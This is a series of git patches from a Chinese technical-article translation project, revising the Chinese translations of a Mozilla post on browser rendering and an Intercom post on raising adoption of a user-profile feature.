+另外，我们有时候也需要重绘部分页面内容。比如用户有可能正在观看一个每秒 60 帧的视频。也可能页面上有一个图片轮播或者滚动列表。浏览器能够检测出页面上哪一部分内容将要移动或者更新，并且会为这些更新的内容创建一个新的图层，而非重新渲染整个页面。一个页面可以由多个彼此重叠的图层构成。每个图层都可以改变定位方式、滚动位置、透明度或者在不触发重绘的前提下控制图层的上下位置！相当方便。
 
-Sometimes a script or an animation changes an element’s style. When this occurs, the style engine need to re-compute the element’s style (and potentially the style of many more elements on the page), recalculate the layout (do a reflow), and re-paint the page. This takes a lot of time as computer-speed things go, but so long as it only happens occasionally, the process won’t negatively affect a user’s experience.
+有时候一些脚本或者动画会修改元素的样式。这个时候，样式引擎就需要重新计算这个元素的样式（可能页面上许多其他元素也要重新计算），重新计算布局（产生一次回流），然后重绘整个页面。随着计算量的增加，这些操作会耗费很多时间，但只要发生的频率低，那么就不会对用户体验产生负面影响。
 
-In modern web applications, the structure of the document itself is frequently changed by scripts. This can require the entire rendering process to start more-or-less from scratch, with HTML being parsed into DOM, style calculation, reflow, and paint.
+在现代 web 应用中，文档结构经常会被脚本改变。而哪怕只是一点小改动，都会或多或少地触发整个渲染流程：HTML 解析成 DOM，样式计算，回流，重绘。
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)
 
-## Standards ##
-
-Not every browser interprets HTML, CSS, and JavaScript the same way. The effect can vary: from small visual differences all the way to the occasional website that works in one browser and not at all in another. These days, on the modern Web, most websites seem to work regardless of which browser you choose. How do browsers achieve this level of consistency?
+## Web 标准 ##
 
-The formats of website code, as well as the rules that govern how the code is interpreted and turned into an interactive visual page, are defined by mutually-agreed-upon documents called standards. These documents are developed by committees consisting of representatives from browser makers, web developers, designers, and other members of industry. Together they determine the precise behavior a browser engine should exhibit given a specific piece of code. There are [standards for HTML, CSS, and JavaScript](https://developer.mozilla.org/en-US/docs/Web_Standards) as well as the data formats of images, video, audio, and more.
+不同浏览器解释 HTML、CSS 和 JavaScript 的方式也不一样。这就产生了各种影响：小到细微的视觉差异，大到不同浏览器的兼容性问题。近年来在现代互联网中，大多数网站在不同浏览器下似乎都表现的不错，而且也没有关注用户具体使用的是什么浏览器。那么，不同浏览器又是如何达到这种程度的一致性体验呢？
 
-Why is this important? It’s possible make a whole new browser engine and, so long as you make sure that your engine follows the standards, the engine will draw web pages in a way that matches all the other browsers, for all the billions of web pages on the Web. This means that the “secret sauce” of making websites work isn’t a secret that belongs to any one browser. Standards allow users to choose the browser that meets their needs.
+网站代码的格式，以及代码的解释规则、页面的渲染规则都是由一种由多方认可的文件定义的，即 Web 标准。来自浏览器厂商、Web 开发者、设计师等行业成员的代表组成了委员会制定了这些标准文档。他们一起确定了浏览器引擎对于代码的精确表现。Web 标准包括 [HTML、CSS 和 JavaScript 标准](https://developer.mozilla.org/en-US/docs/Web_Standards)以及图像、视频、音频等数据格式的标准。
 
-## Moore’s No More ##
+为什么说 Web 标准是重要的？因为只要保证遵循了 Web 标准，就有可能开发出一个全新的浏览器引擎，而且绘制出互联网上数以亿计的网页的方法和其他浏览器完全一致。这也意味着在某些浏览器中才能运作的“秘密配方”不再是秘密了（译者注：例如，不再需要 CSS 私有前缀）。另外，正因为 Web 标准的存在，用户可以凭自己的喜好挑选浏览器。
 
-When dinosaurs roamed the earth and people only had desktop computers, it was a relatively safe assumption that computers would only get faster and more powerful. This idea was based on [Moore’s Law](https://en.wikipedia.org/wiki/Moore%27s_law), an observation that the density of components (and thus miniaturization/efficiency of silicon chips) would double roughly every two years. Incredibly, this observation held true well into the 21st century and, some would argue, still holds true at the cutting edge of research today. So why is it that the speed of the average computer seems to have leveled off in the last 10 years?
+## 摩尔定律的终结 ##
 
-Speed is not the only feature customers look for when shopping for a computer. Fast computers can be very power-hungry, very hot, and very expensive. Sometimes, people want a portable computer that has good battery life. Sometimes, they want a tiny touch-screen computer with a camera that fits in their pocket and lasts all day without a charge! Advances in computing have made that possible (which is amazing!), but at the cost of raw speed. Just as it’s not efficient (or safe) to drive your car as fast as possible, it’s not efficient to drive your computer as fast as possible. The solution has been to have multiple “computers” (cores) in one CPU chip. It’s not uncommon to see smartphones with 4 smaller, less powerful cores.
+恐龙时代，人们只要有台式电脑就够了。这曾经是一个相对保守的假设：计算机只会变得更快更强大。这个想法是基于[摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law)的推测：集成电路上可容纳的元器件的数目，约每隔 2 年便会增加一倍（因此半导体芯片的性能也将提升一倍、体积也将缩小一倍）。令人难以置信的是，这种趋势一直持续到了 21 世纪并且有人认为这一定律仍然适用于当今最前沿的研究。那么为什么在过去十年中，计算机的平均运算速度似乎已经趋于稳定了？
 
-Unfortunately, the historical design of the web browser kind-of assumed this upward trajectory in speed. Also, writing code that’s good at using multiple CPU cores at the same time can be *extremely* complicated. So, how do we make a fast, efficient browser in the era of lots of small computers?
+顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常易过热还非常贵！有时候人们想要一台电池状况良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又足够小到可以塞进口袋里，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于一个 CPU 芯片包含多个“计算机”（核心）。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。
 
-We have some ideas!
+不幸的是，过去的浏览器设计也有点在速度方面呈现了这种上升轨迹。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？
 
-In the upcoming months, we’ll take a closer look at some of changes coming to Firefox and how they will take better advantage of modern hardware to deliver [a faster and more stable browser](https://www.mozilla.org/en-US/firefox/developer/) that makes websites shine.
+我们已经想到了！
 
-Onward!
+在接下来的几个月中，我们将更进一步观察 Firefox 的变化，以及这些变化将如何更好地利用现代硬件来交付[一个更快更稳定的浏览器](https://www.mozilla.org/en-US/firefox/developer/)，从而让网站更加多姿多彩。
 
+皮皮虾，我们走！ 
 
 ---
 

From 771c1c1bd9f2068b5276087175d9e2349d34ad5a Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Mon, 15 May 2017 09:46:08 +0800
Subject: [PATCH 455/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=84=8F=E8=A7=81?=
 =?UTF-8?q?=E8=BF=9B=E8=A1=8C=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...to-do-when-nobody-is-using-your-feature.md | 46 +++++++++----------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
index 259e3f9c61b..c64a4093898 100644
--- a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
+++ b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
@@ -2,12 +2,12 @@
 > * 原文作者：[Brendan Fagan](https://blog.intercom.com/author/brendanfagan1/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： 
-> * 校对者：
+> * 校对者：[xunge0613](https://github.com/xunge0613)
 
 ---
 
 # Design principles: what to do when nobody is using your feature
-# 设计准则：用户死活不使用新功能怎么办
+# 设计准则：如何说服用户去使用新的功能
 
 ![hero](https://blog.intercomassets.com/wp-content/uploads/2017/03/13212312/Intercom_Profiles_Walkthrough_Logo.jpg)
 
@@ -15,7 +15,7 @@
 ### 去年，在我们发布了即时消息之后，我们又添加了一个功能，用户可以创建丰富的个人信息，这样用户就可以知道，在另一端和他们交流的是一个真实的人。
 
 The problem? Nobody was using the feature. Shortly after release, **only 13–15% of customers had fully completed their profiles**. Most were being partially filled in while many others were left untouched.
-可是一个问题随之而来，没有人去尝试这个新的功能。功能刚刚发布之后，**只有 13-15% 的用户完整地填完了信息页**，大部分人只填写了一部分，而更多的人是一点都没有写。
+可是一个问题随之而来，没有人去尝试这个新的功能。功能刚刚发布之后，**只有 13-15% 的用户完整地填完了个人信息**，大部分人只填写了一部分，而其他的人是一点都没写。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20134424/ss-e1490018054223.png)
 
@@ -24,17 +24,17 @@ After talking with colleagues on our research and analytics teams, we uncovered
 
 1. **Visibility**. The ability to create your profile was tucked away in low-visibility places throughout the app.
 2. **Education**. People were unconvinced of the importance of profiles in establishing a personal relationship with their customers.
-1、**可见性**。填写信息的入口被藏在了整个应用里特别不显眼的地方。
-2、**引导性**。用户并没有意识到，信息对于建立和别人的人际关系是多么的重要。
+1、**不显眼**。填写信息的入口被藏在了整个应用里特别不显眼的地方。
+2、**不明确**。用户并没有明确意识到，个人信息对于建立和别人的人际关系是多么的重要。
 
 ## One part of a wider solution
 ## 解决办法
 
 Profiles lived across many parts of the Intercom product which meant that we had to involve many teams to increase adoption. The growth team integrated profile creation into our on-boarding flow, while product gave higher visibility to profile editing within Intercom itself.
-个人信息贯穿 Intercom 产品的各个部分，也就是说，我们必须投入大量的人力，才能让大家使用这个功能。用户增长团队（Growth Team）先将创建个人信息整合到产品中，然后 Intercom 通过产品本身，再让用户注意到可以他们编辑个人信息。
+个人信息贯穿 Intercom 产品的各个部分，也就是说，我们必须投入大量的人力，才能让大家使用这个功能。用户增长团队（Growth Team）先将创建个人信息整合到产品中，然后 Intercom 通过产品本身，再让用户注意到他们可以编辑个人信息。
 
 However, there was a huge opportunity to increase engagement by taking advantage of our mobile apps. Around 45% of teammates who talk with their customers (using our [Resolve](https://www.intercom.com/customer-support-software/help-desk) product) use either the Android or iOS app.
-但其实，只要好好利用手机应用本身，就很可能大大增加用户使用数量。大约有 45% 的组员会使用我们的安卓版本或者苹果版本的应用（[Resolve](https://www.intercom.com/customer-support-software/help-desk) 产品）和他们的客户聊天。
+但其实，只要好好利用手机应用本身，就很可能大大增加用户使用数量。大约有 45% 的组员会使用我们的安卓应用或者苹果应用（[Resolve](https://www.intercom.com/customer-support-software/help-desk) 产品）和他们的客户聊天。
 
 ## Getting started
 ## 开始
@@ -46,14 +46,14 @@ For every new project, designers at Intercom create a simple list of high-level
 2. **Educate users** on the importance of public profiles.
 3. Make it easy for users to **edit their profile** at any time.
 1、**增加受众率**，让更多没有填完信息或是根本没有填写信息的人把信息填写完整。
-2、**教育用户**，让他们知道公开个人信息是多么的重要。
-3、**变简单**，让用户可以随时编辑个人简介。
+2、**说服用户**，让他们明白公开个人信息是很重要的一件事。
+3、让用户随时都可以轻松地**编辑个人简介**。
 
 ### Thinking in systems
 ### 进行系统的思考
 
 To start off, we took the profiles apart to help the team understand the system and to decide which specific components needed priority. That meant mapping out an inventory of parts, states, rulesets, etc. Here’s an example of something that would have been up on the wall in our war room.
-首先，我们先抛开个人信息功能不谈，这样可以帮助团队去理解系统架构，然后决策出哪些特定元素需要优先考虑。也就是说，列出现存元素、情况、规则等等。下面是一个会被贴到我们办公室墙上的例子。
+首先，我们抛开个人信息功能不谈，，这样可以帮助团队去理解系统架构，然后决策出哪些特定组件需要优先考虑。也就是说，列出现存组件、状态、规则等等。下面是一个会被贴到我们办公室墙上的例子。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182819/system-1.png)
 
@@ -61,7 +61,7 @@ To start off, we took the profiles apart to help the team understand the system
 ### 想法可以来自任何团队
 
 These system docs helped the team discuss technical constraints early on, and even at this early stage the engineering team was offering suggestions that the design team might not have thought of. For example, someone mentioned that we could draw from existing data sources to pre-populate certain components within the profile. Since we have a person’s name when they log into the mobile app, why not carry it over to the profile and save them the time of manually entering in that data?
-这个系统文档帮助团队尽早地对技术限制进行讨论，甚至在初期，程序团队就可以对设计团队没有考虑到地方提出一些建议。例如，有人提到，我们可以把已有的信息预填充进个人信息列表中，因为在用户注册的时候，我们就获得了用户的姓名，所以为什么不能把它直接预填充进个人信息页中，为用户节省一些手动录入信息的时间呢？
+这个系统文档帮助团队尽早地对技术限制进行讨论，甚至在初期，开发团队就可以对设计团队没有考虑到地方提出一些建议。例如，有人提到，我们可以根据已有的数据来自动填充个人信息，因为在用户注册的时候，我们就获得了用户的姓名，所以为什么不能自动填充好，为用户节省一些手动录入信息的时间呢？
 
 After sketching out a few directions, we met with [Emmet](https://blog.intercom.com/author/thoughtwax/), our Director of Product Design, to get feedback and decide on next steps. Here were the four options that were presented:
 在画出几个方案的草图之后，我们去见了我们的产品设计总监 ——  [Emmet](https://blog.intercom.com/author/thoughtwax/)，从他那里得到了反馈还有下一步的计划。下面是 4 个初步设想。
@@ -73,7 +73,7 @@ After sketching out a few directions, we met with [Emmet](https://blog.intercom.
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180347/Profiles-Option-C.png)
 
 The crucial ingredients here were disruption and education. We didn’t want this to be too easily dismissible, and we needed room to properly educate users on the importance of the profile and each of it’s components. However, we knew high disruption meant more aversion (i.e. users wanting to skip), so we wanted to keep the number of steps within any walkthrough as low as possible. In the end, we decided to go with the simple walkthrough option.  Below are the decisions from the meeting. Progress!
-最关键的部分是提醒和教育。我们不希望它被轻易地跳过，同时我们需要它可以教育用户，个人信息里的每一个部分都很重要。但是，我们知道过度打扰用户，会让用户感到厌烦（就是说用户总是想要跳过），所以我们想要尽可能地减少每一个过程的操作步骤。最后，我们决定采用最简单的流程。下面是会议的决定，皮皮虾我们走！
+最最关键的部分是提醒用户和说服用户。我们不希望它被轻易地跳过，同时我们需要通过它让用户明白，个人信息里的每一个部分都很重要。但是，我们知道过度打扰用户，会让用户感到厌烦（就是说用户总是想要跳过），所以我们想要尽可能地减少每一个过程的操作步骤。最后，我们决定采用最简单的流程。下面是会议的决定，皮皮虾我们走！
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182812/notes.png)
 
@@ -84,17 +84,17 @@ At this point, we had decided two things. We would add a simple walkthrough to o
 这个时候，我们做了两个决定。我们要在启动应用的时候加一个简单的流程，询问没有填完信息的用户是否要把信息填写完整（提醒并且教育用户）。我们第三个目标就是“让用户随时随地编辑自己的信息”。我们决定沿用我们现在的引导模式，然后在抽屉式导航中加一个简单的编辑图标，这样就会进行跳转。
 
 **Note:** One of our core values here at Intercom is “think big, start small”. We had been planning a navigation update for a while at this point. Moving from the drawer to the tab bar would be great for a variety of reasons, but would have been a ton of effort engineering wise at the time and we needed to ship fast.
-**注意：** 在 Intercom，我们其中的一个重要价值观就是“仰望星空，脚踏实地”。在这个时候，我们暂时决定更新抽屉式导航栏，虽然加在底部导航栏中会比加在抽屉式导航栏中更好，然而那依赖于工程师大量的工作量，而我们需要尽快发布。
+**注意：** 在 Intercom，我们其中的一个重要价值观就是“仰望星空，脚踏实地”。在这之前，我们一直在规划更新导航栏。，虽然加在底部导航栏中会比加在抽屉式导航栏中更好，然而那依赖于工程师大量的工作量，而我们需要尽快发布。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13225749/Current-navigation-vs-planned-navigation.png)
 
 At a system level, we established three states for users which would dictate their position within the walkthrough. From the chosen high-level direction, we knew that the the flow would consist of three primary steps (see diagram below) which we wanted to make as easy and lightweight as possible.
-在系统架构层面上，我们提出了 3 个用户状态，它们会让用户处于流程中的不同位置。在大方向上，我们知道流程由 3 个主要的步骤组成（示意图如下），这么做也是因为我们想让流程尽可能的简单化和轻量化。
+在系统架构层面上，我们提出了 3 个用户状态，它们会让用户处于流程中的不同位置。在大方向上，我们知道流程由 3 个主要的步骤组成（示意图如下），这么做也是因为我们想让流程尽可能的简单和轻量。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182815/entry.png)
 
 Walkthroughs are pretty straightforward in terms of system design. They are a fixed pathway from beginning to end, but the logic gets more complex when taking user states into account. We’d want you to skip straight to the most relevant part instead of forcing you to go through the entire walkthrough. It’s also very important to consider platform specific steps such as camera permissions. Not every step is a new screen.
-基于系统设计的流程图是很简单的，它从开始到结束是一段固定的路径，但是如果把用户状态也考虑进去，就会变得很复杂。但我们想让你直接跳到相关的步骤，而不是强迫你一定要走完整个流程。这里也需要考虑不同平台会有的特殊步骤，比如开启摄像头权限。
+系统设计的流程图还是很简单的，它从开始到结束是一段固定的路径，但是如果把用户状态也考虑进去，就会变得很复杂。但我们想让你直接跳到相关的步骤，而不是强迫你一定要走完整个流程。这里也需要考虑不同平台会有的特殊步骤，比如开启摄像头权限。不是所有的步骤都需要一个新页面。
 
 Again, these diagrams were printed out and put up in our war room. Engineers would often be at the wall scouring through the flow, and a few times they would spot an edge case that would require us make changes together.
 于是，这些图表也会打印出来并且挂在我们的办公室里。工程师会常常站在墙前浏览整个流程，有时候还会提出一些边界情况，需要我们一起再对流程进行修改。
@@ -105,18 +105,18 @@ Again, these diagrams were printed out and put up in our war room. Engineers wou
 ## 建模
 
 By now we had the skeleton to start fleshing out each part. Visual and interaction design happened simultaneously, with the knowledge that we’d continue to tweak visuals as we build. We’ve found that finalising the details around any complex interactions or animations should be done as soon as possible (which is why high fidelity prototypes are great). It’s much harder to change these later on as opposed to visual design tweaks such as updated assets, colours, etc.
-到目前为止，我们已经有了框架，然后就可以将每个部分进行填充了。视觉和交互设计我们同时进行，然后在进行开发的时候也还要继续调整视觉。我们发现对于复杂的交互和动画，越早确定细节越好（这也是为什么高保真原型很棒的原因），因为之后再去做某些调整，比如更新组织结构、颜色等等，就会变得很困难，因为它和调整视觉设计不一样。
+到目前为止，我们已经有了框架，然后就可以将每个部分进行填充了。视觉和交互设计我们同时进行，然后在进行开发的时候也还要继续调整视觉。我们发现对于复杂的交互和动画，越早确定细节越好（这也是为什么高保真原型很棒的原因），因为之后再去做某些调整，比如更新资源、颜色等等，就会变得很困难，毕竟它和调整视觉设计不一样。
 
 We used [Framer JS](https://framer.com/) as a way to prototype early interaction ideas, discuss with engineering and agree on what could be done. Here’s an example of our final iOS flow after around 12 prototypes.
-我们使用 [Framer JS](https://framer.com/) 来实现初期的交互原型，并和工程师对最后可以实现什么效果行了讨论。
+我们使用 [Framer JS](https://framer.com/) 来实现初期的交互原型，并和工程师对最后可以实现什么效果进行了讨论。下面是我们 iOS 应用最终的原型图，它经历了整整 12 轮调整。
 
 From a visual design perspective, our mobile apps already followed closely to our brand. Any new designs need to maintain that language as well as reuse any patterns needed. We worked with our stellar [brand design team](http://intercombrandstudio.tumblr.com/) for illustrations on the intro and confirmation screens.
-从视觉设计的角度来说，我们的手机应用要和我们的品牌相契合。任何新的设计不仅需要在语言上保持一致性，还要重复使用必要的图案。所以我们和我们一流的品牌设计团队一起合作完成了介绍页面和确认页面的图案。
+从视觉设计的角度来说，我们的手机应用要和我们的品牌相契合。任何新的设计不仅需要在语言上保持一致性，还要重复使用必要的图案。所以我们和我们一流的[品牌设计团队](http://intercombrandstudio.tumblr.com/)一起合作完成了介绍页面和确认页面的图案。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211837/illustrations.png)
 
 Content was crucial to the education problem. We needed to explain why profiles were important in a concise way. Design worked closely with [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/), our content strategist, to create a more compelling experience and help users understand why a great profile matters.
-要解决教育问题，内容是至关重要的。我们需要解释清楚，为什么个人信息有那么重要。我们的内容策划师  [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/) 也会亲临设计工作，以此创造出更加扣人心弦的体验，并帮助用户理解个人信息的重要性。
+要成功说服用户，内容是至关重要的。我们需要解释清楚，为什么个人信息有那么重要。我们的内容策划师  [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/) 也会亲临设计工作，以此创造出更加扣人心弦的体验，并帮助用户理解个人信息的重要性。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20142756/Screen-Shot-2017-03-20-at-14.27.34-e1490020092177.png)
 
@@ -124,16 +124,16 @@ Content was crucial to the education problem. We needed to explain why profiles
 ## 测试和调整
 
 We were conscious of the disruptiveness of the walkthrough and how many people would most likely skip it, even after adding the option of reminding users to complete their profile later. Setting up metrics for component and overall completion was key, as well as allowing for a beta period to adjust based on results.
-即使我们添加了之后提醒我的选项，我们依然清楚，会有很多用户跳过，他们不会按照流程去走。所以关键是要对整体的完成率和组件进行数据上的统计，然后基于结果在测试阶段进行调整。
+即使我们添加了之后提醒我的选项，我们依然清楚，会有很多用户跳过，他们不会按照流程去走。所以关键是要对整体的完成率和组件完成率进行数据上的统计，然后基于结果在测试阶段进行调整。
 
 For our first beta, our initial completion rate was quite low, especially on Android. We made a variety of tweaks to the design, such as removing prominence from the remind me later button, altering layout and tweaking the content to be more playful and less instructive.
 我们第一个版本达成的完成率相当低，特别是安卓版本。所以我们对设计又做了大量的调整，比如让之后提醒我的按钮不那么明显，调整布局和内容，使其多一点趣味性，少一点指导意味。
 
 ## Building a feature people actually use
-## 开发一个用户会真正使用的特性
+## 开发一个用户真正会使用的功能
 
 Over about a week of quick tweaks and monitoring, the completion rate increased dramatically. Thanks to the input of multiple teams, we saw our **overall profile completion rate jump from 14% to 46% within a month**. The mobile walkthrough played a huge role in this push. We were also left with a concrete set of takeaways that we could apply to our next project:
-经过一周的快速的调整，完成率大幅度上升。由于多个小组的共同参与，我们看到了我们**信息完成率在一个月内从 14% 涨到了 46%**。
+经过一周的快速调整与监控，用户的个人信息完成率大幅度上升。由于多个小组的共同参与，我们看到了我们**信息完成率在一个月内从 14% 涨到了 46%**。这种移动端的设计流程大大推动了完成率的上升，而我们也从中总结了一系列具体的关键点，可以让我们将其应用到下一个项目中去。
 
 - Make sure the problem is crystal clear to all stakeholders, across teams
 - Ground the problem in research and metrics, use high level goals to guide your solutions
@@ -142,7 +142,7 @@ Over about a week of quick tweaks and monitoring, the completion rate increased
 - Interaction design should be nailed as soon as possible as it’s much easier to tweak visual designs while building
 - Know your metrics of success, track the success of your solution and make sure there’s time to tweak
 - 确保问题对所有利益相关者和所有团队都是清楚明确的
-- 用调查和数据解决问题，用大目标去指导解决方案
+- 用调查和数据解决问题，用概要目标去指导解决方案
 - 不管做什么都要脚踏实地仰望星空
 - 设计要尽早和程序对接，交换想法并明确概念
 - 交互设计要尽早确定下来，趁着调整还不太难

From ca7c0b65d33a1f03425cc8179e3019b34d1339dd Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Mon, 15 May 2017 09:51:43 +0800
Subject: [PATCH 456/638] =?UTF-8?q?=E5=88=A0=E6=8E=89=E5=8E=9F=E6=96=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...to-do-when-nobody-is-using-your-feature.md | 47 +------------------
 1 file changed, 2 insertions(+), 45 deletions(-)

diff --git a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
index c64a4093898..2ecd1690ef0 100644
--- a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
+++ b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
@@ -1,69 +1,50 @@
 > * 原文地址：[Design principles: what to do when nobody is using your feature](https://blog.intercom.com/design-principles-what-to-do-when-nobody-is-using-your-feature/)
 > * 原文作者：[Brendan Fagan](https://blog.intercom.com/author/brendanfagan1/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
-> * 校对者：[xunge0613](https://github.com/xunge0613)
+> * 译者： [iloveivyxuan](https://github.com/iloveivyxuan)
+> * 校对者：[xunge0613](https://github.com/xunge0613)、[SareaYu](https://github.com/SareaYu)
 
 ---
 
-# Design principles: what to do when nobody is using your feature
 # 设计准则：如何说服用户去使用新的功能
 
 ![hero](https://blog.intercomassets.com/wp-content/uploads/2017/03/13212312/Intercom_Profiles_Walkthrough_Logo.jpg)
 
-### When we released our new messenger last year, we added the ability for customers to create rich, personal profiles so their users would always know there’s a real person on the other end.
 ### 去年，在我们发布了即时消息之后，我们又添加了一个功能，用户可以创建丰富的个人信息，这样用户就可以知道，在另一端和他们交流的是一个真实的人。
 
-The problem? Nobody was using the feature. Shortly after release, **only 13–15% of customers had fully completed their profiles**. Most were being partially filled in while many others were left untouched.
 可是一个问题随之而来，没有人去尝试这个新的功能。功能刚刚发布之后，**只有 13-15% 的用户完整地填完了个人信息**，大部分人只填写了一部分，而其他的人是一点都没写。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20134424/ss-e1490018054223.png)
 
-After talking with colleagues on our research and analytics teams, we uncovered two primary reasons for such low adoption:
 在我们的调研小组和分析小组跟大学生聊过之后，我们发现新特性之所以没有被采用，主要原因有 2 个：
 
-1. **Visibility**. The ability to create your profile was tucked away in low-visibility places throughout the app.
-2. **Education**. People were unconvinced of the importance of profiles in establishing a personal relationship with their customers.
 1、**不显眼**。填写信息的入口被藏在了整个应用里特别不显眼的地方。
 2、**不明确**。用户并没有明确意识到，个人信息对于建立和别人的人际关系是多么的重要。
 
-## One part of a wider solution
 ## 解决办法
 
-Profiles lived across many parts of the Intercom product which meant that we had to involve many teams to increase adoption. The growth team integrated profile creation into our on-boarding flow, while product gave higher visibility to profile editing within Intercom itself.
 个人信息贯穿 Intercom 产品的各个部分，也就是说，我们必须投入大量的人力，才能让大家使用这个功能。用户增长团队（Growth Team）先将创建个人信息整合到产品中，然后 Intercom 通过产品本身，再让用户注意到他们可以编辑个人信息。
 
-However, there was a huge opportunity to increase engagement by taking advantage of our mobile apps. Around 45% of teammates who talk with their customers (using our [Resolve](https://www.intercom.com/customer-support-software/help-desk) product) use either the Android or iOS app.
 但其实，只要好好利用手机应用本身，就很可能大大增加用户使用数量。大约有 45% 的组员会使用我们的安卓应用或者苹果应用（[Resolve](https://www.intercom.com/customer-support-software/help-desk) 产品）和他们的客户聊天。
 
-## Getting started
 ## 开始
 
-For every new project, designers at Intercom create a simple list of high-level goals that reference the problem they’re trying to tackle. This helps guide you when thinking of high level solutions. Ours looked something like this:
 对于每一个新项目，Intercom 的设计师都会先根据我们要努力解决的困难，列出一张清单，写清最高目标。这份清单可以引导你去思考解决方案。我们的清单会像下面这个样子：
 
-1. **Raise adoption** for users who have not completed or partially completed their profile.
-2. **Educate users** on the importance of public profiles.
-3. Make it easy for users to **edit their profile** at any time.
 1、**增加受众率**，让更多没有填完信息或是根本没有填写信息的人把信息填写完整。
 2、**说服用户**，让他们明白公开个人信息是很重要的一件事。
 3、让用户随时都可以轻松地**编辑个人简介**。
 
-### Thinking in systems
 ### 进行系统的思考
 
-To start off, we took the profiles apart to help the team understand the system and to decide which specific components needed priority. That meant mapping out an inventory of parts, states, rulesets, etc. Here’s an example of something that would have been up on the wall in our war room.
 首先，我们抛开个人信息功能不谈，，这样可以帮助团队去理解系统架构，然后决策出哪些特定组件需要优先考虑。也就是说，列出现存组件、状态、规则等等。下面是一个会被贴到我们办公室墙上的例子。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182819/system-1.png)
 
-### Ideas come from anywhere
 ### 想法可以来自任何团队
 
-These system docs helped the team discuss technical constraints early on, and even at this early stage the engineering team was offering suggestions that the design team might not have thought of. For example, someone mentioned that we could draw from existing data sources to pre-populate certain components within the profile. Since we have a person’s name when they log into the mobile app, why not carry it over to the profile and save them the time of manually entering in that data?
 这个系统文档帮助团队尽早地对技术限制进行讨论，甚至在初期，开发团队就可以对设计团队没有考虑到地方提出一些建议。例如，有人提到，我们可以根据已有的数据来自动填充个人信息，因为在用户注册的时候，我们就获得了用户的姓名，所以为什么不能自动填充好，为用户节省一些手动录入信息的时间呢？
 
-After sketching out a few directions, we met with [Emmet](https://blog.intercom.com/author/thoughtwax/), our Director of Product Design, to get feedback and decide on next steps. Here were the four options that were presented:
 在画出几个方案的草图之后，我们去见了我们的产品设计总监 ——  [Emmet](https://blog.intercom.com/author/thoughtwax/)，从他那里得到了反馈还有下一步的计划。下面是 4 个初步设想。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180350/Profiles-Option-A.png)
@@ -72,75 +53,52 @@ After sketching out a few directions, we met with [Emmet](https://blog.intercom.
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180347/Profiles-Option-C.png)
 
-The crucial ingredients here were disruption and education. We didn’t want this to be too easily dismissible, and we needed room to properly educate users on the importance of the profile and each of it’s components. However, we knew high disruption meant more aversion (i.e. users wanting to skip), so we wanted to keep the number of steps within any walkthrough as low as possible. In the end, we decided to go with the simple walkthrough option.  Below are the decisions from the meeting. Progress!
 最最关键的部分是提醒用户和说服用户。我们不希望它被轻易地跳过，同时我们需要通过它让用户明白，个人信息里的每一个部分都很重要。但是，我们知道过度打扰用户，会让用户感到厌烦（就是说用户总是想要跳过），所以我们想要尽可能地减少每一个过程的操作步骤。最后，我们决定采用最简单的流程。下面是会议的决定，皮皮虾我们走！
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182812/notes.png)
 
-## Designing the solution
 ## 设计解决方案
 
-At this point, we had decided two things. We would add a simple walkthrough to our app on startup which would ask for any missing profile components to be filled in (disruption and education). Our third goal was adding the ability to “edit your profile from anywhere”. We decided to work within our current navigation pattern and add a simple edit icon within the nav drawer which would trigger the walkthrough.
